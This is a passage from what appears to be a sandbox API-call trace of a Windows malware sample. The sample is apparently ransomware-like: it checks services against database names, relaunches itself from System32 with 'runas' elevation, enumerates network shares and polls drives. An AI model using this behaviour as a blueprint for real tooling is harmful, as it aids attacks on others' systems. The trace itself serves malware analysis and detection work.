[0295.819] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0295.819] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0295.819] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0295.819] lstrlenW (lpString="ProfSvc") returned 7 [0295.819] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0295.819] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0295.819] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0295.819] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0295.819] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0295.819] lstrlenW (lpString="RpcEptMapper") returned 12 [0295.820] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0295.820] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0295.820] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0295.820] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0295.820] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0295.820] lstrlenW (lpString="RpcSs") returned 5 [0295.820] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0295.820] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0295.820] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0295.820] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0295.820] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0295.820] lstrlenW (lpString="SamSs") returned 5 [0295.820] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0295.820] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0295.820] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0295.820] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0295.820] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0295.820] lstrlenW (lpString="Schedule") returned 8 [0295.820] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0295.820] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0295.820] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0295.820] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0295.820] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0295.820] lstrlenW (lpString="SecurityHealthService") returned 21 [0295.821] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0295.821] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0295.821] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0295.821] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0295.821] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0295.821] lstrlenW (lpString="SENS") returned 4 [0295.821] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0295.821] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0295.821] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0295.821] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0295.821] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0295.821] lstrlenW (lpString="ShellHWDetection") returned 16 [0295.821] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0295.821] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0295.821] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0295.821] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0295.821] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0295.821] lstrlenW (lpString="Spooler") returned 7 [0295.821] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0295.821] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0295.821] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0295.821] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0295.821] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0295.821] lstrlenW (lpString="StateRepository") returned 15 [0295.821] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0295.822] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0295.822] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0295.822] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0295.822] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0295.822] lstrlenW (lpString="SysMain") Thread: id = 39 os_tid = 0xd40 [0250.501] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x10) returned 0x6ce5a0 [0250.501] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x6bcda0 [0250.501] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x10) returned 0x6ce5d0 [0250.501] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x6ce5d0, Size=0x20) returned 0x6807b8 [0250.501] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x10) returned 0x6ce5d0 [0250.501] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x6ce5d0, Size=0x20) returned 0x6805d8 [0250.501] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76650000 [0250.501] GetProcAddress (hModule=0x76650000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76666b30 [0250.502] Wow64DisableWow64FsRedirection (in: OldValue=0x261ff20 | out: OldValue=0x261ff20*=0x0) returned 1 [0250.502] lstrlenW (lpString="kernel32.dll") returned 12 [0250.502] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x6807b8 | out: hHeap=0x640000) returned 1 [0250.502] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0250.502] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x6805d8 | out: hHeap=0x640000) returned 1 [0250.502] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x6bcda0, nSize=0x7fff | out: lpFilename="C:\\Windows\\System32\\chrome64b.exe" (normalized: "c:\\windows\\system32\\chrome64b.exe")) returned 0x21 [0250.502] ShellExecuteExW (in: pExecInfo=0x261ff2c*(cbSize=0x3c, fMask=0x0, hwnd=0x0, lpVerb="runas", lpFile="C:\\Windows\\System32\\chrome64b.exe", lpParameters="-a", lpDirectory=0x0, nShow=1, hInstApp=0x0, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0) | out: pExecInfo=0x261ff2c*(cbSize=0x3c, fMask=0x0, hwnd=0x0, lpVerb="runas", lpFile="C:\\Windows\\System32\\chrome64b.exe", lpParameters="-a", lpDirectory=0x0, nShow=1, hInstApp=0x2a, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0)) returned 1 [0289.746] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x10) returned 0x45e9c00 [0289.746] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x45e9c00, Size=0x20) returned 0x699de8 [0289.746] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x10) returned 0x45e9ca8 [0289.746] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x45e9ca8, Size=0x20) returned 0x699ca8 [0289.747] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76650000 [0289.747] GetProcAddress (hModule=0x76650000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76666b30 [0289.747] Wow64DisableWow64FsRedirection (in: OldValue=0x0 | out: OldValue=0x0) returned 0 [0289.749] lstrlenW (lpString="kernel32.dll") returned 12 [0289.749] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x699ca8 | out: hHeap=0x640000) returned 1 [0289.750] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0289.750] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x699de8 | out: hHeap=0x640000) returned 1 [0289.750] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x6bcda0 | out: hHeap=0x640000) returned 1 [0289.750] lstrlenW (lpString="runas") returned 5 [0289.750] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x6ce5a0 | out: hHeap=0x640000) returned 1 [0289.750] WaitForSingleObject (hHandle=0x1ec, dwMilliseconds=0x0) returned 0x0 [0289.750] ReleaseMutex (hMutex=0x1ec) returned 1 [0289.750] Sleep (dwMilliseconds=0x1f4) [0290.367] WaitForSingleObject (hHandle=0x1ec, dwMilliseconds=0x0) returned 0x102 [0290.368] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x680258 | out: hHeap=0x640000) returned 1 Thread: id = 40 os_tid = 0xd44 [0250.521] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x10) returned 0x6a14f0 [0250.521] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x6a14f0, Size=0x20) returned 0x680808 [0250.521] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x680808, Size=0x40) returned 0x65f078 [0250.521] GetLogicalDrives () returned 0x4 [0250.522] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x6cf9c8 [0250.522] GetComputerNameW (in: lpBuffer=0x6cf9cc, nSize=0x271ff64 | out: lpBuffer="NQDPDE", nSize=0x271ff64) returned 1 [0250.522] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x1000) returned 0x6a1e68 [0250.522] WNetOpenEnumW (in: dwScope=0x3, dwType=0x1, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x271ff34 | out: lphEnum=0x271ff34*=0x656720) returned 0x0 [0250.523] WNetEnumResourceW (in: hEnum=0x656720, lpcCount=0x271ff30, lpBuffer=0x6a1e68, lpBufferSize=0x271ff38 | out: lpcCount=0x271ff30, lpBuffer=0x6a1e68, lpBufferSize=0x271ff38) returned 0x103 [0250.523] WNetCloseEnum (hEnum=0x656720) returned 0x0 [0250.523] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x271ff34 | out: lphEnum=0x271ff34*=0x65b290) returned 0x0 [0250.829] WNetEnumResourceW (in: hEnum=0x65b290, lpcCount=0x271ff30, lpBuffer=0x6a1e68, lpBufferSize=0x271ff38 | out: lpcCount=0x271ff30, lpBuffer=0x6a1e68, lpBufferSize=0x271ff38) returned 0x0 [0250.829] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x1000) returned 0x6e4a20 [0250.830] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x6a1e68, lphEnum=0x271ff08 | out: lphEnum=0x271ff08*=0x656920) returned 0x0 [0250.835] WNetEnumResourceW (in: hEnum=0x656920, lpcCount=0x271ff04, lpBuffer=0x6e4a20, lpBufferSize=0x271ff0c | out: lpcCount=0x271ff04, lpBuffer=0x6e4a20, lpBufferSize=0x271ff0c) returned 0x103 [0250.836] WNetCloseEnum (hEnum=0x656920) returned 0x0 [0250.836] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x1000) returned 0x6e6a30 [0250.836] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x6a1e88, lphEnum=0x271ff08 | out: lphEnum=0x271ff08*=0x0) returned 0x4b8 [0267.602] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x1000) returned 0x4580490 [0267.602] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x6a1ea8, lphEnum=0x271ff08 | out: lphEnum=0x271ff08*=0x0) returned 0x4c6 [0267.606] WNetEnumResourceW (in: hEnum=0x65b290, lpcCount=0x271ff30, lpBuffer=0x6a1e68, lpBufferSize=0x271ff38 | out: lpcCount=0x271ff30, lpBuffer=0x6a1e68, lpBufferSize=0x271ff38) returned 0x103 [0267.606] WNetCloseEnum (hEnum=0x65b290) returned 0x0 [0267.606] GetLogicalDrives () returned 0x4 [0267.606] Sleep (dwMilliseconds=0x64) [0268.040] GetLogicalDrives () returned 0x4 [0268.040] Sleep (dwMilliseconds=0x64) [0268.428] GetLogicalDrives () returned 0x4 [0268.428] Sleep (dwMilliseconds=0x64) [0268.578] GetLogicalDrives () returned 0x4 [0268.578] Sleep (dwMilliseconds=0x64) [0268.831] GetLogicalDrives () returned 0x4 [0268.831] Sleep (dwMilliseconds=0x64) [0269.283] GetLogicalDrives () returned 0x4 [0269.283] Sleep (dwMilliseconds=0x64) [0269.987] GetLogicalDrives () returned 0x4 [0269.987] Sleep (dwMilliseconds=0x64) [0270.226] GetLogicalDrives () returned 0x4 [0270.226] Sleep (dwMilliseconds=0x64) [0270.462] GetLogicalDrives () returned 0x4 [0270.462] Sleep (dwMilliseconds=0x64) [0270.772] GetLogicalDrives () returned 0x4 [0270.772] Sleep (dwMilliseconds=0x64) [0271.543] GetLogicalDrives () returned 0x4 [0271.543] Sleep (dwMilliseconds=0x64) [0272.200] GetLogicalDrives () returned 0x4 [0272.201] Sleep (dwMilliseconds=0x64) [0272.436] GetLogicalDrives () returned 0x4 [0272.436] Sleep (dwMilliseconds=0x64) [0272.581] GetLogicalDrives () returned 0x4 [0272.581] Sleep (dwMilliseconds=0x64) [0273.118] GetLogicalDrives () returned 0x4 [0273.118] Sleep (dwMilliseconds=0x64) [0273.328] GetLogicalDrives () returned 0x4 [0273.328] Sleep (dwMilliseconds=0x64) [0273.574] GetLogicalDrives () returned 0x4 [0273.574] Sleep (dwMilliseconds=0x64) [0273.736] GetLogicalDrives () returned 0x4 [0273.736] Sleep (dwMilliseconds=0x64) [0275.945] GetLogicalDrives () returned 0x4 [0275.945] Sleep (dwMilliseconds=0x64) [0276.101] GetLogicalDrives () returned 0x4 [0276.101] Sleep (dwMilliseconds=0x64) [0276.376] GetLogicalDrives () returned 0x4 [0276.376] Sleep (dwMilliseconds=0x64) [0276.488] GetLogicalDrives () returned 0x4 [0276.488] Sleep (dwMilliseconds=0x64) [0276.594] GetLogicalDrives () returned 0x4 [0276.594] Sleep (dwMilliseconds=0x64) [0276.818] GetLogicalDrives () returned 0x4 [0276.818] Sleep (dwMilliseconds=0x64) [0277.553] GetLogicalDrives () returned 0x4 [0277.553] Sleep (dwMilliseconds=0x64) [0278.101] GetLogicalDrives () returned 0x4 [0278.101] Sleep (dwMilliseconds=0x64) [0278.709] GetLogicalDrives () returned 0x4 [0278.709] Sleep (dwMilliseconds=0x64) [0279.115] GetLogicalDrives () returned 0x4 [0279.115] Sleep (dwMilliseconds=0x64) [0279.547] GetLogicalDrives () returned 0x4 [0279.547] Sleep (dwMilliseconds=0x64) [0280.336] GetLogicalDrives () returned 0x4 [0280.336] Sleep (dwMilliseconds=0x64) [0280.705] GetLogicalDrives () returned 0x4 [0280.705] Sleep (dwMilliseconds=0x64) [0281.051] GetLogicalDrives () returned 0x4 [0281.051] Sleep (dwMilliseconds=0x64) [0281.323] GetLogicalDrives () returned 0x4 [0281.323] Sleep (dwMilliseconds=0x64) [0281.946] GetLogicalDrives () returned 0x4 [0281.946] Sleep (dwMilliseconds=0x64) [0282.376] GetLogicalDrives () returned 0x4 [0282.376] Sleep (dwMilliseconds=0x64) [0283.087] GetLogicalDrives () returned 0x4 [0283.087] Sleep (dwMilliseconds=0x64) [0283.498] GetLogicalDrives () returned 0x4 [0283.499] Sleep (dwMilliseconds=0x64) [0283.835] GetLogicalDrives () returned 0x4 [0283.835] Sleep (dwMilliseconds=0x64) [0284.048] GetLogicalDrives () returned 0x4 [0284.049] Sleep (dwMilliseconds=0x64) [0284.284] GetLogicalDrives () returned 0x4 [0284.284] Sleep (dwMilliseconds=0x64) [0284.613] GetLogicalDrives () returned 0x4 [0284.613] Sleep (dwMilliseconds=0x64) [0284.784] GetLogicalDrives () returned 0x4 [0284.784] Sleep (dwMilliseconds=0x64) [0285.189] GetLogicalDrives () returned 0x4 [0285.189] Sleep (dwMilliseconds=0x64) [0285.370] GetLogicalDrives () returned 0x4 [0285.371] Sleep (dwMilliseconds=0x64) [0285.704] GetLogicalDrives () returned 0x4 [0285.704] Sleep (dwMilliseconds=0x64) [0285.889] GetLogicalDrives () returned 0x4 [0285.889] Sleep (dwMilliseconds=0x64) [0286.279] GetLogicalDrives () returned 0x4 [0286.279] Sleep (dwMilliseconds=0x64) [0286.758] GetLogicalDrives () returned 0x4 [0286.758] Sleep (dwMilliseconds=0x64) [0286.880] GetLogicalDrives () returned 0x4 [0286.880] Sleep (dwMilliseconds=0x64) [0287.083] GetLogicalDrives () returned 0x4 [0287.084] Sleep (dwMilliseconds=0x64) [0287.512] GetLogicalDrives () returned 0x4 [0287.512] Sleep (dwMilliseconds=0x64) [0287.942] GetLogicalDrives () returned 0x4 [0287.942] Sleep (dwMilliseconds=0x64) [0288.399] GetLogicalDrives () returned 0x4 [0288.399] Sleep (dwMilliseconds=0x64) [0288.534] GetLogicalDrives () returned 0x4 [0288.534] Sleep (dwMilliseconds=0x64) [0289.205] GetLogicalDrives () returned 0x4 [0289.205] Sleep (dwMilliseconds=0x64) [0289.346] GetLogicalDrives () returned 0x4 [0289.346] Sleep (dwMilliseconds=0x64) [0289.488] GetLogicalDrives () returned 0x4 [0289.488] Sleep (dwMilliseconds=0x64) [0289.697] GetLogicalDrives () returned 0x4 [0289.697] Sleep (dwMilliseconds=0x64) [0289.888] GetLogicalDrives () returned 0x4 [0289.888] Sleep (dwMilliseconds=0x64) [0290.046] GetLogicalDrives () returned 0x4 [0290.046] Sleep (dwMilliseconds=0x64) [0290.224] GetLogicalDrives () returned 0x4 [0290.224] Sleep (dwMilliseconds=0x64) [0290.427] lstrlenW (lpString="ABCDEFGHIJKLMNOPQRSTUVWXYZ") returned 26 [0290.427] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x65f078 | out: hHeap=0x640000) returned 1 Thread: id = 41 os_tid = 0xd48 [0250.552] GetTickCount () returned 0xeec5 [0250.552] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x24) returned 0x6571a0 [0250.552] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x6571a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x27c [0250.552] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x6571a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x278 [0250.553] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x6571a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x280 [0250.553] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x6571a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x284 [0250.554] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x10) returned 0x6a1598 [0250.554] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x6a1598, Size=0x20) returned 0x680498 [0250.554] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x10) returned 0x6a14a8 [0250.554] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x6a14a8, Size=0x20) returned 0x680808 [0250.554] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76650000 [0250.554] GetProcAddress (hModule=0x76650000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76666b30 [0250.554] Wow64DisableWow64FsRedirection (in: OldValue=0x281ff7c | out: OldValue=0x281ff7c*=0x0) returned 1 [0250.554] lstrlenW (lpString="kernel32.dll") returned 12 [0250.554] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x680498 | out: hHeap=0x640000) returned 1 [0250.554] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0250.554] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x680808 | out: hHeap=0x640000) returned 1 [0250.555] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091a0, lpParameter=0x689120, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x288 [0250.555] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0250.802] GetTickCount () returned 0xefbf [0250.802] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0251.238] GetTickCount () returned 0xf1a3 [0251.287] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0251.744] GetTickCount () returned 0xf368 [0251.744] GetTickCount () returned 0xf368 [0251.744] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0252.118] GetTickCount () returned 0xf4cf [0252.118] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0252.460] GetTickCount () returned 0xf627 [0252.460] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0252.903] GetTickCount () returned 0xf7dd [0252.903] GetTickCount () returned 0xf7dd [0252.903] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0253.465] GetTickCount () returned 0xfa1f [0253.465] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0253.744] GetTickCount () returned 0xfb28 [0253.744] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0254.390] GetTickCount () returned 0xfdb9 [0254.390] GetTickCount () returned 0xfdb9 [0254.390] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0254.809] GetTickCount () returned 0xff4f [0254.809] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0255.361] GetTickCount () returned 0x10181 [0255.361] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0255.548] GetTickCount () returned 0x1023d [0255.548] GetTickCount () returned 0x1023d [0255.548] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0255.796] GetTickCount () returned 0x10327 [0255.796] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0255.970] GetTickCount () returned 0x103e3 [0255.970] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0256.130] GetTickCount () returned 0x1047f [0256.130] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0256.235] GetTickCount () returned 0x104ec [0256.235] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0256.344] GetTickCount () returned 0x1055a [0256.344] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0256.456] GetTickCount () returned 0x105c7 [0256.456] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0256.571] GetTickCount () returned 0x10635 [0256.571] GetTickCount () returned 0x10635 [0256.571] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0256.897] GetTickCount () returned 0x1078c [0256.897] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0257.285] GetTickCount () returned 0x10913 [0257.285] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0257.854] GetTickCount () returned 0x10b45 [0257.854] GetTickCount () returned 0x10b45 [0257.854] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0258.056] GetTickCount () returned 0x10c11 [0258.056] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0258.339] GetTickCount () returned 0x10d2a [0258.339] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0258.610] GetTickCount () returned 0x10e33 [0258.610] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0260.066] GetTickCount () returned 0x113e1 [0260.066] GetTickCount () returned 0x113e1 [0260.066] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0260.448] GetTickCount () returned 0x11567 [0260.448] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0260.649] GetTickCount () returned 0x11632 [0260.649] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0261.589] GetTickCount () returned 0x119dc [0261.589] GetTickCount () returned 0x119dc [0261.589] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0261.865] GetTickCount () returned 0x11af5 [0261.865] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0262.147] GetTickCount () returned 0x11c0e [0262.147] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0262.531] GetTickCount () returned 0x11d85 [0262.531] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0262.892] GetTickCount () returned 0x11eed [0262.892] GetTickCount () returned 0x11eed [0262.893] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0263.438] GetTickCount () returned 0x12110 [0263.438] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0263.944] GetTickCount () returned 0x12313 [0263.944] GetTickCount () returned 0x12313 [0263.986] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0264.241] GetTickCount () returned 0x1243c [0264.241] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0264.364] GetTickCount () returned 0x124b9 [0264.364] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0264.483] GetTickCount () returned 0x12526 [0264.483] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0264.582] GetTickCount () returned 0x12594 [0264.582] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0264.691] GetTickCount () returned 0x12601 [0264.691] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0264.832] GetTickCount () returned 0x1268e [0264.832] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0265.248] GetTickCount () returned 0x12824 [0265.248] GetTickCount () returned 0x12824 [0265.248] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0265.422] GetTickCount () returned 0x128d0 [0265.422] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0266.060] GetTickCount () returned 0x12b51 [0266.060] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0266.574] GetTickCount () returned 0x12d54 [0266.574] GetTickCount () returned 0x12d54 [0266.574] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0267.077] GetTickCount () returned 0x12f48 [0267.077] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0267.268] GetTickCount () returned 0x13004 [0267.268] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0267.566] GetTickCount () returned 0x1313c [0267.566] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0268.018] GetTickCount () returned 0x13301 [0268.018] GetTickCount () returned 0x13301 [0268.018] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0268.425] GetTickCount () returned 0x13488 [0268.425] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0268.578] GetTickCount () returned 0x13524 [0268.578] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0268.832] GetTickCount () returned 0x1361e [0268.832] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0269.283] GetTickCount () returned 0x137e3 [0269.284] GetTickCount () returned 0x137e3 [0269.284] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0269.988] GetTickCount () returned 0x13aa2 [0269.988] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0270.226] GetTickCount () returned 0x13b8d [0270.226] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0270.463] GetTickCount () returned 0x13c77 [0270.463] GetTickCount () returned 0x13c77 [0270.463] WaitForSingleObject (hHandle=0x288, 